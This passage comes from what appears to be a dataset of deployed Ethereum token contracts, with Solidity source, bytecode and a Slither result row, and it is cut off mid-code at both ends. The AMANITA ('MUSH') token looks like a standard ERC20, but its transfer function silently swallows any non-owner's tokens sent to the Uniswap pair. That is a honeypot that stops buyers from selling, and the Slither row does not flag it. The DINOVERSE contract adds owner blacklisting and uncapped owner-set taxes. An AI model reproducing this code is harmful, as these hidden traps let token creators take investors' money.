require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract AMANITA is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e16*1e18;
string private _name = "AMANITA MUSCARIA";
string private _symbol = "MUSH";
uint8 private _decimals = 18;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private vitalik = 0xdA28B1Eb9450978B9E3fD6A98F76A293920cE708;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
_transfer(address(this), dead, _initialSupply*50/100);
_transfer(address(this), vitalik, _initialSupply*20/100);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function add_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*30/100,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){ }
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
} | 0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b411461025e578063a457c2d714610273578063a9059cbb14610293578063dd62ed3e146102b3576100f3565b806342966c68146101f457806370a082311461021657806376c11b941461023657806379cc67901461023e576100f3565b806323b872dd116100c657806323b872dd146101725780632f54bf6e14610192578063313ce567146101b257806339509351146101d4576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610150576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6102d3565b60405161011a9190610d84565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610cb4565b610365565b60405161011a9190610d79565b34801561015c57600080fd5b5061016561037b565b60405161011a9190610f5d565b34801561017e57600080fd5b5061014361018d366004610c74565b610381565b34801561019e57600080fd5b506101436101ad366004610c04565b6103ea565b3480156101be57600080fd5b506101c76103fe565b60405161011a9190610f66565b3480156101e057600080fd5b506101436101ef366004610cb4565b610407565b34801561020057600080fd5b5061021461020f366004610cdf565b61043d565b005b34801561022257600080fd5b50610165610231366004610c04565b61044a565b610214610465565b34801561024a57600080fd5b50610214610259366004610cb4565b6106de565b34801561026a57600080fd5b5061010d61072a565b34801561027f57600080fd5b5061014361028e366004610cb4565b610739565b34801561029f57600080fd5b506101436102ae366004610cb4565b610788565b3480156102bf57600080fd5b506101656102ce366004610c3c565b610795565b6060600480546102e290610fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610fe2565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b5050505050905090565b6000610372338484610839565b50600192915050565b60025490565b600061038e8484846108ed565b6103e084336103db85604051806060016040528060288152602001611091602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906107ff565b610839565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103729185906103db90866107c0565b6104473382610ae0565b50565b6001600160a01b031660009081526020819052604090205490565b61046e336103ea565b61047757600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610c20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190610c20565b6040518363ffffffff1660e01b815260040161059f929190610d24565b602060405180830381600087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f19190610c20565b600960006101000a8154816001600160a01b0302191690836001600160a01b031602179055506106243082600354610839565b806001600160a01b031663f305d71934306064600354601e6106469190610fac565b6106509190610f8c565b600a546040516001600160e01b031960e087901b16815261068693929160009182916001600160a01b0316904290600401610d3e565b6060604051808303818588803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d89190610cf7565b50505050565b600061070e826040518060600160405280602481526020016110b9602491396107078633610795565b91906107ff565b905061071b833383610839565b6107258383610ae0565b505050565b6060600580546102e290610fe2565b600061037233846103db856040518060600160405280602581526020016110dd602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906107ff565b60006103723384846108ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000806107cd8385610f74565b9050838110156107f85760405162461bcd60e51b81526004016107ef90610e5c565b60405180910390fd5b9392505050565b600081848411156108235760405162461bcd60e51b81526004016107ef9190610d84565b5060006108308486610fcb565b95945050505050565b6001600160a01b03831661085f5760405162461bcd60e51b81526004016107ef90610f19565b6001600160a01b0382166108855760405162461bcd60e51b81526004016107ef90610e1a565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108e0908590610f5d565b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b81526004016107ef90610ed4565b6001600160a01b0382166109395760405162461bcd60e51b81526004016107ef90610dd7565b610944838383610725565b6109818160405180606001604052806026815260200161106b602691396001600160a01b03861660009081526020819052604090205491906107ff565b6001600160a01b03808516600081815260208190526040902092909255600a541614806109b657506001600160a01b03831630145b806109c957506001600160a01b03821630145b15610a50576001600160a01b0382166000908152602081905260409020546109f190826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a43908590610f5d565b60405180910390a3610725565b6009546001600160a01b0383811691161415610a6b57610725565b6001600160a01b038216600090815260208190526040902054610a8e90826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908590610f5d565b6001600160a01b038216610b065760405162461bcd60e51b81526004016107ef90610e93565b610b1282600083610725565b610b4f81604051806060016040528060228152602001611049602291396001600160a01b03851660009081526020819052604090205491906107ff565b6001600160a01b038316600090815260208190526040902055600254610b759082610bc2565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb6908590610f5d565b60405180910390a35050565b60006107f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107ff565b600060208284031215610c15578081fd5b81356107f881611033565b600060208284031215610c31578081fd5b81516107f881611033565b60008060408385031215610c4e578081fd5b8235610c5981611033565b91506020830135610c6981611033565b809150509250929050565b600080600060608486031215610c88578081fd5b8335610c9381611033565b92506020840135610ca381611033565b929592945050506040919091013590565b60008060408385031215610cc6578182fd5b8235610cd181611033565b946020939093013593505050565b600060208284031215610cf0578081fd5b5035919050565b600080600060608486031215610d0b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015610db057858101830151858201604001528201610d94565b81811115610dc15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8757610f8761101d565b500190565b600082610fa757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610fc657610fc661101d565b500290565b600082821015610fdd57610fdd61101d565b500390565b600281046001821680610ff657607f821691505b6020821081141561101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122060b16f81e9ce7beaf675a35af919b9a4f3b930e57d3db624e9cbcfe07354a9f664736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 887 |
0x9ae89e80034239a6572b1f75ebb6b2591d9f9b31 | // SPDX-License-Identifier: Unlicensed
// Welcome to dinoverse!
// t.me/Dinoversetoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DINOV is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DINOVERSE";
string private constant _symbol = "DINOV";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x6A9ff30A683DC7E6cAde212ee6b911743EA8704d);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e9 * 10**9;
uint256 public _maxWalletSize = 5e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
